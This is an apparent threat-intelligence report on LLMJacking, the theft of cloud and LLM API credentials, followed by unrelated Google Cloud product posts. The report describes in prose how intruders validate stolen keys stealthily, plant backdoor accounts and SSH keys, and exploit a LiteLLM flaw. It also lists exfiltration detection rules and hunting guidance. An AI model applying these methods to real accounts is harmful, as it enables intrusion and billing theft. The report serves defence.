Across multiple LLMJacking investigations, however, the dominant initial access vector has been exposed or stolen cloud identity tokens—including IAM credentials, Service Account keys, GitHub Personal Access Tokens (PATs), and active session tokens—which threat actors leverage to establish an initial foothold into target organizations' infrastructure.

For instance, in mid-2026 UNC6993 compromised a cloud instance through a misconfigured Service Account key and used this access to grant further access to an LLM API. UNC6993 also hosted a session hijacking page masquerading as an application portal to join a group of LLM users. This page tricks users into navigating to the legitimate LLM service website, and pasting their raw JSON payload containing an active access token, which was then posted to the backend API to bypass password and multifactor authentication (MFA) controls.

In another instance, one threat actor gained initial entry by combining a stolen Personal Access Token (PAT) to access private code repositories with the exploitation of a suspected web application vulnerability in a package running within a containerized cloud environment. Similarly, a different threat actor leveraged compromised IAM credentials of corporate users, using cloud federation tokens to programmatically generate fresh access keys to circumvent MFA requirements. In a separate incident, a threat actor was first observed accessing the environment with a compromised cloud Service Account key with broad project permissions.

Beyond general cloud identity credentials, threat actors also target LLM API keys. For example, a threat actor opportunistically harvested exposed corporate LLM API keys from public GitHub repositories. Demonstrating advanced evasion tradecraft, the group conducted automated credential validation sweeps using minimal single-token requests (max_tokens=1). This allowed the threat actor to stealthily confirm the viability of the stolen keys while remaining undetected by the victim’s endpoint detection and response (EDR) and SIEM volume anomaly alerts.

Lateral Movement and Persistence

After gaining an initial foothold, threat actors systematically work to escalate privileges, solidify access, and conduct internal reconnaissance to identify targets and further cloud credentials.

To expand their access, threat actors enumerated cloud services, code repositories, and data stores for sensitive credentials. In one intrusion, a threat actor conducted internal reconnaissance across multiple cloud regions to map available services and identity policies. In a separate intrusion, a threat actor compromised a containerized cloud environment. Once inside, they performed extensive repository reconnaissance, cloning sensitive codebases to search for hardcoded secrets, configuration variables, and developer credentials. They also scanned access logs to identify credentials for secondary cloud environments. Threat actors also executed targeted database queries to harvest additional credentials; in one case, the threat actor queried cloud data warehouse metadata tables to search for database credentials, administrator passwords, and sensitive columns, alongside performing cloud object storage operations associated with targeted data theft.

Across intrusions, we observed threat actors abusing cloud identity permissions and virtual machine configurations to escalate privileges and maintain persistent access. Utilizing service accounts associated with compromised workloads, one threat actor exploited token-creation privileges to generate temporary credentials for high-privilege service accounts, resulting in the exfiltration of infrastructure credentials, internal database passwords, and third-party API keys from cloud secret managers. Other threat actors established persistence by creating unauthorized IAM and service accounts and injecting SSH keys into compute instances. Specifically, one actor escalated privileges by attaching administrative policies to service roles, created unauthorized IAM accounts with full administrative rights, and established interactive management sessions into running virtual machines to inject unauthorized SSH public keys into host configuration files. Similarly, another threat actor created deceptive backdoor service accounts disguised as internal billing optimization utilities and injected environment-wide SSH keys into compute instance metadata.

Beyond exploiting traditional cloud infrastructure permissions, we have observed instances of threat actors targeting vulnerabilities specifically within LLM routing software to escalate privileges. In one case, after acquiring pre-validated Virtual Keys from the threat actor that established initial access, a follow-on cluster executed targeted application logic exploitation against the victim's LiteLLM gateway. The actor exploited a user ID rebind vulnerability in the /key/regenerate endpoint (CVE-2026-40217) to elevate standard Virtual Keys into full PROXY_ADMIN master administrative credentials, establishing deep, persistent control over the compromised environment.

LLM Abuse

The ultimate objective of LLMJacking is the monetization and resource-hijacking of foundation models, which actors achieve through token proxying, automated model streaming, and GPU hardware provisioning.

Threat actors frequently enabled a variety of managed generative platforms, and created additional API keys to scale their operations. Upon acquiring LLM API access keys, UNC6993 attempted to generate additional API keys and enable associated services within victim cloud projects, quickly accumulating over $100,000 USD in billing charges. Another threat actor subscribed victim accounts to Pay-As-You-Go agreements, selecting premium foundation models and launching high-volume inference streams. To bypass rate limits, the threat actor deployed a "burn and rotate" strategy, continuously creating and deleting short-lived service accounts while auditing the cloud provider’s billing interface to monitor financial impact.

Threat actors also leveraged their access to host their own proxy endpoints and agentic workloads. For example, one threat actor enabled agents, deployed publicly accessible reverse proxies, and used custom Node.js proxy bundles to expose endpoints compatible with multiple frontier LLMs rebranded under a persona known as D1337-KAIROS. The actor deployed a containerized backdoor using the Manus agent framework to the compromised cloud environment, which queried an upstream LLM to reason through instructions and execute resulting commands locally, supported by SearXNG metasearch and agent-infra/sandbox execution environments. To scale compute, the threat actor provisioned compute instances with powerful GPUs, attempted to spin up high-end hardware across multiple regions, and requested quota increases via the cloud provider’s API. The actor also hosted LiteLLM gateways on external servers to manage and route API traffic.

Rather than consuming hijacked compute solely for their own operations, GTIG observed evidence of threat actors monetizing compromised API quotas by selling access to these resources through LLM Mixers. The threat actors used open-source API gateways and custom relay infrastructure to pool stolen credentials, meter usage, and obscure the origin of the requests. For example, UNC6993 used open-source tools such as new-api (a centralized model hub and gateway) and gcli2api (an API proxy tool converting command line interface (CLI) tools into standard frontier model endpoints), likely to aggregate stolen keys and balance request loads across accounts. We believe the threat actor sells access to these tools via underground storefronts.

Another threat actor that executed more than 500,000 LLM API calls in less than eight hours leveraged stolen third-party API keys to power the token routing service jet-night.com. Jet Night passed nearly one million dollars in token costs to the victim organization. Given Jet Night’s per-token costs to users are so far below typical market rates GTIG believes the service relies on stolen keys to operate profitably. For example, Jet Night offers an unlimited token plan for approximately $60 USD per month with alleged access to frontier models, a consumer service level that would typically run between $100 and $250 per month. Moreover, the service has advertised multiple outages on its public Telegram channel which is likely due to stolen keys being revoked as victims discover their respective compromises.

Figure 3: Screenshot of Jet Night Plans and Pricing Structure

A threat actor deployed custom proxy relay infrastructure (ai-relay) hosted on deceptive lookalike domains. For example, they registered a domain to masquerade as the victim's legitimate internal host. This custom relay infrastructure was used to seamlessly siphon high-value commercial LLM access into the illicit newapi[.]pro resale ecosystem, directly draining the victim's corporate account quotas to serve their underground customers.

Outlook

GTIG expects that threat actors will increasingly prioritize LLMJacking over traditional resource theft like cryptojacking, driven by the immediate, high-margin monetization enabled by emerging underground LLM Mixers. As enterprises integrate higher-tier models and agentic workflows into production environments, cybercriminals will likely refine automated reconnaissance to target exposed API tokens and exploit vulnerabilities in model routing middleware. This operational specialization will sustain a growing illicit resale marketplace, allowing threat actors to rapidly siphon enterprise quotas while passing the billing costs to victims before compromises are detected.

Detection and Hunting

In the event that security measures have failed, it is critical that defenders have early visibility into abuse of cloud LLM platforms. Defenders should prioritize detection of modifications to LLM accounts and services and treat any unauthorized enablement as a critical security event. In multiple incidents that Mandiant investigated, LLM services were not enabled at the time of compromise. Abuse of access keys allowed the threat actor to modify and enable LLM API services (e.g. Bedrock, Gemini API, etc.). Once enabled, the threat actor can use the APIs to generate massive bills to the organization in just minutes or hours.

Google Security Operations

Google Security Operations customers have access to these broad category rules and more under the Cloud Threats, Mandiant Frontline Threats, Mandiant Hunting Rules rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

AWS Account Key Creation
AWS Create New Access Key
AWS Create User Account
AWS Delete User Account
Base64 Encoded Shell Command Execution
Create and Delete Firewall in Default Network
GCE Project SSH Keys
GCP Service Account Key Creation
GCP Create New Service Account
GCP Firewall Rule Created
Linux Archive Exfiltration via Curl or Wget
Persistence: Compute Set Instance or Project Metadata Startup Scripts or URLs

Mitigation and Remediation

To prevent attackers from abusing Cloud LLM services, defenders should prioritize Identity and Access Management (IAM) and supply chain security, two of the most common pathways for gaining access to and abusing Cloud services.

Credential Hygiene: Utilize a centralized secrets management platform to control the management and rotation of sensitive keys and secrets. Automation of secrets and keys can limit the lifespan of leaked credentials.
Least Privilege: Ensure users and service accounts only possess the permissions necessary for their specific role and required tasks. Deny all permissions that are not explicitly required, including access to Cloud LLM services.
Code Monitoring: Automate secret scanning within codebases (GitHub, Gitlab, etc.) to ensure API keys and secrets added to source code are identified and removed promptly.
Routine Configuration Audits: Perform periodic comprehensive configuration audits of Cloud services to identify potential attack paths and unintended exposure of endpoints.
Rate Limiting: Implement a WAF like Google’s Cloud Armor to enforce rate limiting for individual client connections.
Network Allow Listing: Restrict outbound connections from Cloud services via VPC firewall rules to known IP addresses where feasible.
Budget Alerts: Implement granular API quotas on LLM services to limit request volume per model. Utilize spending caps to set budgets and avoid over-spending.
Multi-Factor Authentication (MFA): Enforce phishing-resistant multi-factor authentication across all cloud identity providers, management consoles, and developer platforms to ensure that stolen credentials or session tokens cannot be easily exploited.
Shadow LLM Discovery: Utilize Security Posture Management tools to automatically scan your hybrid cloud environments and identify unauthorized or unmonitored tools, models, and infrastructure, ensuring complete visibility of your model footprint.
Granular API Key Scopes: Restrict and segment API keys by specific model endpoints, environments (dev/prod), and usage limits to ensure a compromised token for a basic utility model cannot be used to invoke expensive, high-tier frontier models.
Validation Sweep Monitoring: Monitor model gateway and API access logs for anomalous, low-volume requests (such as max_tokens=1 or zero-temperature pings). Attackers frequently use these micro-transactions for stealthy credential validation sweeps prior to launching large-scale infrastructure abuse.
Vulnerability & ML Supply Chain Patching: Integrate automated vulnerability scanning (SAST/DAST/SCA) across your custom application code, containerized workloads, and machine learning dependencies (like PyTorch and Hugging Face libraries) to prevent initial access via unpatched server vulnerabilities.
Gateway Patch Management: Extend vulnerability management programs to include centralized model proxy and routing gateways (e.g., LiteLLM), ensuring rapid patching against privilege escalation and authentication bypass flaws (such as CVE-2026-40217).
Sandboxed Execution for Dynamic Workloads: Isolate the runtime environment in highly virtualized, process-isolated, serverless sandboxes if your LLM application is required to execute generated code or database queries dynamically.
Vetted Model Repositories: Restrict and enforce model pulls and pipeline dependencies solely from trusted internal registries or approved enterprise catalogs to prevent developers from pulling compromised models containing pre-configured backdoors.
Graph-Based Exposure Modeling: Implement continuous, graph-based risk prioritization that maps cloud assets, application code, and data flows to automatically identify and remediate complex, multi-hop attack paths.
Adversarial Exposure Validation: Deploy automated offensive agents to continuously test external attack surfaces, uncover exposed endpoints, and simulate credential validation sweeps.

Monitoring Native Cloud Audit Logs

AWS: Monitor CloudTrail logs for API events from bedrock.amazonaws.com. Based on historical LLM Jacking incidents, monitor for the following API operations across the attack lifecycle:

Resource Exploitation: Monitor for direct execution of the LLM via the Converse, InvokeModel, and InvokeModelWithResponseStream API operations.
API Throttling & Error Spikes: Monitor for high-volume spikes in ThrottlingException, ValidationException, or ResourceNotFoundException errors, which could indicate an automated “spraying” methodology targeting cloud infrastructure.
Target Scoping: Monitor potential reconnaissance activity used to discover available models via the ListFoundationModels,ListInferenceProfiles, and GetFoundationModelAvailability operations. Additionally, monitor for attempts to unlock new models in the environment via the PutUseCaseForModelAccess and CreateFoundationModelAgreement API operations.
Security/Evasion: Review attempts to view, alter, or disable logging configurations to conceal prompt contents and avoid detection. Monitor the GetModelInvocationLoggingConfiguration operation, as well as PutModelInvocationLoggingConfiguration and DeleteModelInvocationLoggingConfiguration. Any calls to disable logging by non-IaC (Infrastructure as Code) principals should be treated as high severity.

Automated Tooling: Analyze User-Agent strings to identify automated tools and SDKs (e.g., claude-cli, aws-sdk-rust, and aws-sdk-go-v2) interacting directly with the target cloud infrastructure.

Azure: Monitor Azure Activity Logs (Control Plane) and Diagnostic Logs (Data Plane) for events associated with the Microsoft.CognitiveServices namespace. To hunt for or detect LLM Jacking incidents, monitor the following operations:

Resource Exploitation: Monitor for direct execution of the LLM. In Azure, model invocations occur on the data plane and require Diagnostic Logs to be enabled. Look for high volumes of POST requests to inference endpoints such as Completions or Chat Completions APIs. On the management plane (Activity Logs), monitor for unauthorized creation of new instances via the Microsoft.CognitiveServices/accounts/deployments/write operation.
Target Scoping: Monitor potential reconnaissance activity to discover available Azure LLM resources, models, and deployments via the Microsoft.CognitiveServices/accounts/read and Microsoft.CognitiveServices/accounts/deployments/read operations.
Security/Evasion: Review attempts to view or modify logging configurations (to see if data plane model invocations are being recorded) via the Microsoft.Insights/diagnosticSettings/read, Microsoft.Insights/diagnosticSettings/write, or Microsoft.Insights/diagnosticSettings/delete operations.

GCP: Monitor Cloud Audit Logging for calls to Gemini Enterprise Agent Platform endpoints (aiplatform.googleapis.com). Gemini Enterprise Agent Platform inference operations are contained within Data Access logs, which are disabled by default due to volume and ingestion costs. You must manually configure your IAM audit policies to track these.

Enablement of Agent Platform Services: Alert on enablement of Gemini Enterprise Agent Platform services via the google.api.serviceusage.v1.ServiceUsage.EnableService method.
Resource Exploitation: Monitor for direct execution of the LLM via Gemini Enterprise Agent Platform, which requires Data Access audit logging to be enabled. Look for google.cloud.aiplatform.v1.PredictionService.Predict, google.cloud.aiplatform.v1.PredictionService.GenerateContent, and google.cloud.aiplatform.v1.PredictionService.StreamGenerateContent operations.
Target Scoping: Monitor potential reconnaissance activity to discover available models and endpoints via the google.cloud.aiplatform.v1.ModelService.ListModels, google.cloud.aiplatform.v1.EndpointService.ListEndpoints, and google.cloud.aiplatform.v1.PublisherModelService.ListPublisherModels API operations.
Security/Evasion: Review attempts to view or alter logging and audit configurations. Monitor for operations like google.iam.v1.IAMPolicy.GetIamPolicy (to check if Data Access logs are enabled on the project/resource) or attempts to review log exports via google.logging.v2.ConfigServiceV2.ListSinks and google.logging.v2.ConfigServiceV2.GetSink.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network Indicators

Indicator	Description
jet-night.com	LLM Mixer
newapi.pro	LLM Mixer

Table 1: Network Indicators

Innovate on your own business terms: Google Cloud spend caps now generally available

Fri, 30 Oct 2026 16:00:00 +0000

Today, we’re announcing that spend caps on Google Cloud Budgets are generally available.

With this release, we’re delivering ways to protect your workloads from runaway costs without risking resource deletion. More importantly, we’re introducing three major updates, directly inspired by your feedback since the initial preview, to bring programmability, real-time visibility, and automated guardrails to your cost-control playbook.

How the new spend caps can help your business

We have significantly enhanced the usability and power of spend caps in three ways:

1. Automation through spend caps API: Managing guardrails manually across hundreds of projects is a major operational challenge. To address this, we have launched the spend caps API, which can be accessed from the existing Cloud Billing Budgets API. You can now programmatically enforce your financial boundaries for eligible services within each project, without additional overhead. You can automatically lift, update, or delete caps on the fly and instantly apply a spend cap whenever a developer spins up a new sandbox project.

2. Real-time visibility with live cost reports: Spend caps for AI services trigger within minutes of usage using estimated, live costs. When a cap triggers, you need to know exactly why and when the limit was breached. You can now view these faster, estimated costs directly inside your Cost Reports. Instead of waiting hours for standard billing pipelines to settle net costs, you get the exact financial snapshots that triggered the enforcement, giving you the immediate context needed to run a precise root-cause analysis.

3. Automated guardrails for your monthly resets: Before, once a spend cap was triggered, the usage block remained locked until you manually lifted it in the UI. Today, we are introducing automated monthly resets. You no longer need to worry about manually lifting caps every month. Enforced spend caps will automatically reset, and blocked services will seamlessly resume at the beginning of the next month. However, if your governance policies require a strict manual audit before resuming operations, the manual override option continues to exist exactly as before.

Best practices for deploying spend caps

As you roll out spend caps across your organization, keep these operational tips in mind:

Target non-production environments first: Start by applying strict, low-dollar spend caps to your developer sandboxes, testing clusters, and experimental AI agent playgrounds.
Configure alerts wisely: Default alerts are automatically sent to billing administrators and project owners at 50%, 80%, and 100% of the cap. Make sure the right folks are set up in these roles. This ensures your team is never caught off guard when a budget is nearing depletion. Spend caps permissions can also be added to custom roles, if needed.
Understand fixed vs on-demand costs: Spend caps halt pay-as-you-go and CUD-covered requests once the budget threshold is hit. However, Provisioned Throughput is never halted; requests using reserved capacity will continue to run, and serve traffic normally.

Refresher on GCP’s dual-pronged defense playbook

Spend Caps work seamlessly alongside our native Early Anomalies Detection to provide a closed-loop defense for your cloud spend. Read our previous blog for a detailed explanation on how to use these tools to effortlessly set up a GCP defense playbook.

Playbook step	Feature	Focus	Core action	Key benefit
Step 1	Early anomalies	Predictive monitoring	Analyzes early cost signals daily to alert you of directional spend variances	Spot anomalous cost spikes early and pinpoint the exact SKU driving the trend
Step 2	Spend caps	Financial enforcement	Programmatically pauses usage for a specific project/service once a budget is breached	Absolute protection against runaway spend without deleting resources

Get started today

Spend caps are now ready to support your workloads at scale. Read our documentation for more details and navigate to the Budgets and Alerts page in your Google Cloud Billing Console, to set your first spend cap.

To integrate programmatic guardrails into your deployment workflows, check out our newly published spend caps API documentation.

What’s new in AI infrastructure and orchestration in October

Fri, 30 Oct 2026 16:00:00 +0000

The Google Cloud AI Infrastructure team had another busy month in October, filled with new product launches and updates to power today’s AI and agentic workloads scalably and efficiently. We were also honored to share our progress with customers, partners, and the broader community at leading industry events, including NVIDIA GTC, PyTorch Conference, and AGNTCon + MCPCon. Let’s dive in!

Product, technology, and tools updates

New compute service: Agent Compute Engine is a purpose-built compute service providing high-performance, hardware-isolated microVM sandboxes alongside expanded agent governance capabilities like Agent Gateway and Agent Registry, all in the service of securing and scaling autonomous AI agents. Its primary benefits include rapid sub-second activation, extreme workload density through copy-on-write memory sharing, enterprise-grade security and identity management, and cross-cloud observability.
AI Hypercomputer updates: At NVIDIA GTC Berlin 2026 we announced updates to our agentic infrastructure, including to A5X instances powered by the NVIDIA Vera Rubin NVL72 platform, Virgo Network scale-out fabric, and Managed Lustre storage. These co-engineered advancements provide enterprises with accelerated performance, enhanced sovereign AI controls, while advanced Confidential Computing capabilities help you train and deploy complex multi-step models securely and efficiently.
GKE product update: CPU startup boost for GKE, in preview, uses Kubernetes In-place Pod Resize to dynamically elevate container CPU resources during initialization and scale them back down to steady-state levels without having to restart the containers. This feature removes startup throttling and accelerates cold starts by up to 2x for demanding workloads, helping to lower cloud infrastructure costs.
GKE product update: The preview of the Wiz Runtime Sensor add-on for Google Kubernetes Engine (GKE) brings low-touch deployment, automated lifecycle management, enterprise credential security, and fleet-wide governance to Wiz's eBPF runtime threat detection for both Standard and Autopilot GKE clusters.
Modernization tools: Together at last. Google Cloud Modernize brings Google Cloud’s migration and modernization tools, including Migration Center, Google Cloud VMware Engine, Google Cloud Mainframe Modernization and our new EKS-to-GKE Migration Agent, into a single portfolio. Enterprise teams now have purpose-built agentic capabilities across infrastructure assessment, platform modernization, and application modernization.
Cloud Run product update: Temporal Serverless Workers on Cloud Run automatically scale worker pools based on Temporal task queue demands and scale down to zero when idle. This integration eliminates cluster management, lowers costs, using Temporal Worker Versioning to safely handle stateful, long-running workflows and AI agent workloads.
New open-source product: llm-d 1.0 is an open-source, Kubernetes-native serving stack that turns a cluster of model servers into a coordinated serving pool, unifying distributed LLM inference across mixed Google Cloud TPU and GPU fleets. Co-founded by Google and partners, it provides production-ready benefits such as cache-aware routing, tiered KV cache offloading, and priority-based flow control to dramatically improve context reuse, reduce time-to-first-token latency, and efficiently scale multi-tenant agent workloads.
New open-source product: Working with Meta, we open-sourced TorchTPU, a native PyTorch stack that integrates Google TPUs directly into the PyTorch ecosystem alongside GPUs and CPUs. Now developers can train, serve, and deploy models natively on TPUs using familiar frameworks like Hugging Face, vLLM, and TorchTitan.
Google Distributed Cloud updates: Organizations that operate under strict sovereignty mandates would love to use AI to help them process data, but can’t send it to the cloud. The latest version of Google Distributed Cloud (GDC) air-gapped brings frontier AI models and multimodal enterprise search with Gemini into these isolated environments. In addition, GDC air-gapped supports NVIDIA HGX B300 systems based on the NVIDIA Blackwell Ultra architecture, and features enhanced networking and security capabilities.
Edge inference product: Google open-sourced ML Drift, a cross-platform on-device GPU compute engine built for LiteRT that abstracts hardware complexities across OpenGL ES, OpenCL, Metal, and WebGPU. The framework delivers peak performance, enhanced 5D tensor support, and memory efficiency for both classical machine learning workloads and advanced generative AI models at the edge.
Open-weight model support: Reflection's Beam is an open-weight, 501-parameter model released under an Apache 2.0 license designed specifically for frontier software engineering and long-horizon agentic tasks. We announced day 0 support and ready-to-run deployment recipes for service Beam on AI Hypercomputer and NVIDIA AI Infrastructure.

Practitioner guides and how-tos

AI network reference architectures: In Networking for AI inference model serving - GKE only and for all other backends, learn about reference architectures for AI inference model serving that provide centralized governance and private IP routing using Private Service Connect, Apigee API Management, and Model Armor. These architectures simplify multi-model scaling and prompt security across GKE, Cloud Run, and hybrid clouds.
How-to guide: A Tale of TPU Observability on GKE: Part 2 - Dynamic Slicing Enhancements breaks down GKE's new Dynamic Slicing observability tools and metrics for next-generation v7 TPUs through an engaging, story-driven observability guide featuring Alex, a lead AI platform engineer. Explore the step-by-step diagnostic workflows with real-world examples and handy command-line snippets. Check out Part 1 here.

Customer and partner updates

AI21 achieves an 83% reduction in time-to-start for AI workloads with AI Hypercomputer: Frontier lab AI21 needed a new stack on which to train its Jamba family, and chose AI Hypercomputer configured with GKE on A3 and A3 Ultra instances. By doing so, AI21 says it cut high-priority job wait times from 72 hours to 12, and manual scheduling interventions from 20 per week to zero.
Visko streams real-time world models on Google Cloud TPUs: Visko, an AI startup developing interactive world models, deployed an end-to-end live inference pipeline that combines video generation, super-resolution upscaling, and synchronized audio onto a single Cloud TPU slice. In this blog, the team discusses how it engineered the pipeline, the architectural optimizations it made, and practical lessons for other startups building ultra-low-latency generative AI.
ZenteiQ scales physical AI inference 4x with GKE and llm-d: In order to pre-train models that understand physical laws, governing equations, and numerical solvers, Indian AI startup ZenteiQ designed and built a large-scale batch synthetic data-generation pipeline that runs across multiple model families and feeds verified datasets into training runs. GKE and GKE Inference Gateway gave ZenteiQ the inference-routing layer within its pipeline to scale aggregate inference throughput 4.07x and grow daily output from 1.47 billion to 5.97 billion generated tokens for every 1,000 accelerators.
Palo Alto Networks modernizes cloud-delivered security service: Palo Alto has worked with Google Cloud since 2018 to deliver its Prisma Access security service, and it was time to update it. In order not to compromise its security guarantees, Palo Alto separated the platform into two independently scalable layers: an ingress layer that handles traffic routing and forwarding running on GKE, with Axion C4A instances; and a security layer that handles threat inspection, running on dedicated single-tenant VMs fronted by an Internal Load Balancer. Each layer can now scale, update, and operate independently.
Oracle is the first hyperscaler to provide TPUs outside Google Cloud: By deploying Google TPUs, Oracle is broadening the range of AI chips available through its Oracle Cloud Infrastructure (OCI), and giving customers more options for running AI workloads. Google TPUs on OCI will be available in 2027.

Research, reports and deep-dives

New resource: As enterprise organizations shift from isolated AI experiments to production-scale systems, different departments — from engineering and finance to executive leadership — often speak different technical dialects; The Encyclopedia of AI Infrastructure bridges that communication gap by demystifying complex infrastructure jargon.
Analyst report: We are thrilled to announce that Google was named a Leader in the inaugural 2026 IDC MarketScape for Agentic AI Platforms.
Deep dive: A companion technical guide describing the architecture of Agent Compute Engine and how Google’s Gemini team needed both the isolation of a VM and the speed and density of a container to deliver personal agents for every Gemini user.

September 2026

Product, technology, and tools updates

Google Kubernetes Engine updates: The GKE team is all about improving the scalability of the platform, and in September, those improvements came in many shapes and sizes:

New feature: Need an execution runtime with higher density for your agentic workloads? We engineered the new open-source GKE Agent Substrate to run millions of sandboxes with 10x higher density than standard container runtimes. Agent Substrate also delivers sub-500ms resume operations at over 500 suspend/resume activations per second with a native zero-trust kernel and network isolation.
Product update: GKE now has scale-to-zero capabilities built-in. No need to configure complex components to scale your workloads down, thanks to the HPA with the Autoscaling Metric and support for KEP-2021, which do the job for you, out of the box. Read the blog to learn more.
Product update: Further, the GKE HPA (with the above-mentioned Autoscaling Metric) now lets you scale up and down based on custom PromQL metrics, in addition to standard metrics, allowing you to trigger workloads according to conditions that are meaningful and unique to your business. Read more here.
New feature: Yet another scalability feature is GKE Pod snapshots, which lets you save the running state of your workload, including CPU and GPU memory, and restore it on demand. According to internal tests, GKE Pod snapshots can reduce AI inference start-up by as much as 89%. Learn more here.
New migration tool: Finally, if you’ve always wanted to migrate your container workloads from AWS EKS to GKE but feared a daunting, high-friction engineering endeavor, we’ve just launched GKE agentic migration, a purpose-built agent plugin that replaces brittle, ad-hoc prompting with an AI-assisted migration pipeline protected by deterministic guardrails. Designed as a compilation of agent skills and a local Model Context Protocol (MCP) server, it uses AI to translate complex AWS EKS IaC and Kubernetes manifests directly into GKE landing zones. Get started with the onboarding guide.
Feature updates: Reinforcement learning (RL) and evaluation workloads are a beast: In a standard agentic RL loop, an LLM policy generates actions like code snippets on GPUs and executes them inside isolated CPU sandboxes to observe a reward signal. However, when scaling up this loop to support tens of thousands of parallel rollouts, infrastructure bottlenecks emerge, for instance idle accelerators, image cardinality, and a saturated control plane. To help, we developed GKE Agent Sandbox optimized for RL, plus an Agent Sandbox RL orchestration SDK and native integrations for popular RL gyms and harnesses. All are now generally available, and you can learn more here.

Storage updates: AI trains and creates lots of data, and that data has to live somewhere — in block storage systems, file systems, object stores and databases. We announced enhancements to our storage portfolio to help this critical layer roll with the agentic punches:

Product update: Filestore agent volumes offer high-performance, elastic, persistent file storage for agentic workloads. Thanks to its tight integration with GKE Agent Substrate and GKE Agent Sandbox, Filestore agent volumes automatically allocates and attaches a dedicated, isolated file workspace to GKE agent sandboxes in milliseconds. Request access to the preview here.
New product: If you run generative AI and RAG data layers — think Milvus, Pinecone, Qdrant, Vespa, Redis, and in-memory context caching — you may want to take a look at the M4N family of VMs, now GA, which offers the highest per-core IOPS and throughput of leading hyperscalers. Paired with Google Cloud's custom Titanium offload architecture and paired with Hyperdisk Extreme, M4N instances deliver up to 25,000 MiB/s (25 GiB/s) of aggregate host storage performance and up to 1 million IOPS.
New product: Another new Compute Engine product, Z4D, is GA, and a strong storage solution for AI/ML training and inference workloads. When configured as a bare metal instance, Z4D provides both the high local SSD (LSSD) capacity and low latency required by agentic microVMs, so you can run thousands of isolated sandboxes per host with native performance and efficiency. Learn about Z4D machines here.
Product update: Today’s AI training and inference pipelines create data faster than most storage management systems can keep up, creating challenges for teams trying to understand their storage estates. A new version of Storage Intelligence advisor makes it easier to answer the question: "What’s in my buckets?" and quickly identify unexpected changes. Then, enhanced batch operations let you automate bulk changes across your buckets — say, move storage classes, mass-delete stale or temporary data, or apply metadata, tagging, retention, or encryption changes. Learn about the latest in Storage Intelligence advisor here.
New product: Last but not least, a new version of AlloyDB for PostgreSQL brings together pioneering Google infrastructure — Colossus distributed file system, and Jupiter network — to power a new, no-compromises database architecture for the agentic era.

Practitioner guides and how-tos

How-to: Wish you could make GPUs and TPUs scattered around the globe behave as a single pool behind a single entry point? In this blog, we show you how to do just that. At the edge, the multi-cluster GKE Inference Gateway focuses on global, multi-region traffic distribution and high availability. Beneath that, the LLM-d router handles complex, memory-aware scheduling algorithms to keep utilization high. This architecture is deliberately runtime-, model-, and accelerator-agnostic, and in tests, routing traffic through the multi-cluster GKE Inference Gateway added less than 1% overhead.
Guide: Using or planning to use GKE on TPUs for AI model training or inference? Training massive Large Language Models (LLMs) or running high-throughput inference serving represents a significant investment in specialized AI hardware, such as Cloud TPUs and GPUs. To get the most out of every dollar spent, you need to understand workload lifecycle metrics in GKE. This detailed guide explains how to turn opaque cluster behaviors into actionable telemetry.

Customer and partner updates

GKE customer: Learn why gaming startup SeaVerse relies on GKE Agent Sandbox for its multi-tenant workloads, and how the platform helped it decrease its infrastructure costs by 60%.

Research, reports and deep-dives

In case you missed it, we’re also thrilled to share that Google has been named a leader, including achieving the highest score on either product or strategy, in three key analyst reports from Gartner and Forrester.

Google is a leader in The Forrester Wave™: Public Cloud Platforms, Q3 2026: Highest overall score of any cloud provider!
Google named a Leader in 2026 Gartner® Magic Quadrant™ for Strategic Cloud Platform Services: Positioned furthest for “Completeness of Vision” of all vendors evaluated.
Google is a Leader in the 2026 Gartner Magic Quadrant for Container Management: Positioned highest in “Ability to Execute” of all vendors evaluated.
Google Cloud achieved a Gold rating in the latest SemiAnalysis ClusterMax 3.0 report, which evaluates the reliability, performance, support, pricing, and security of GPU providers globally. See the full report for more.

August 2026

Product, technology, and tools updates

Product update: Filestore, Google Cloud’s first-party, secure, scalable NFS file service, has emerged as a popular storage platform for AI and agentic workflows, and now, it’s even better suited to the task, with a new backend storage layer built directly on Colossus, Google’s foundational distributed storage system. This new backend lets you provision IOPS independently from storage capacity, and is deeply integrated with GKE. In AI environments, this can help you service so-called agentic swarms — large groups of agents that need to read and write to a common dataset — without a drop off in performance. For more, check out the blog post.
New feature: gVisor sandboxes are now available in distributed Ray clusters on GKE. In partnership with Anyscale, we introduced an experimental library for Ray that brings gVisor, Google’s open-source application kernel, directly into distributed Ray clusters. gVisor provides lightweight environments with stronger isolation than ordinary containers, plus fast startup times and low memory overhead. To try out these sandboxing capabilities on GKE, head over to the Ray sandboxing User Guide.
Product update: Looking for high-performance, easy-to-use infrastructure on which to run a personal AI agent, but don’t want to spend a lot of money? New Cloud Run instances are dedicated, singleton compute runtimes on Cloud Run that won’t shut down when the agent is idle. Better yet, the cost to run a Cloud Run instance with 1 vCPU and 1 GiB of memory continuously for 30 days is just $5.70.

Practitioner guides, documentation and how-tos

How-to guide: Big news in Model Context Protocol (MCP) land: As of the 2026-07-28 specification, the protocol core is “completely stateless. The handshake is gone. The initialize / initialized handshake (SEP-2575) and the logical Mcp-Session-Id header (SEP-2567) have been removed entirely. Instead, every request is now self-describing and independent.” Whoa. Learn more about the changes that the latest MCP specification brings, and more importantly, how to implement them, in this Google Developers blog.
Guide: Real-time AI systems make a mess of traditional network load balancing techniques. “Instead of handling isolated requests, the backend has to manage a continuous, live bidirectional stream. You’re dealing with a constant stream of audio chunks, transcripts, model outputs, and synthesized speech flowing back and forth simultaneously.” Things only get worse when the user gets involved. “The server has to immediately halt its current speech generation, pivot to update the context, maybe trigger a new tool, and start drafting a different response; this must be done without dropping the connection.” For a new approach to managing load in the AI era, read Scaling real-time AI agents with session-aware load balancing.
How-to: Learn how to build an elastic, scalable LLM inference platform on GKE, even with a mix of different GPU accelerators. The proposed architecture combines Capacity Advisor and Compute Advisor, plus high-performance storage like RunAI:model streamer or GCPFuse with parallel downloads. Get all the details here.
Documentation: The thing about hosts with GPUs or TPUs is that you can’t use live migration to update them, setting up a maintenance challenge. In this new docs page, learn how to update accelerator-equipped hosts according to your tolerance for downtime for your training and inference workloads.
Documentation: Advanced Compute Images, or ACIs, are standardized image stacks for AI/ML and HPC infrastructure, so you don’t need to manually build your own custom images. In this new docs page, learn how to create an ACI image using the Google Cloud CLI, console, or SchedMD's Slurm workload manager.
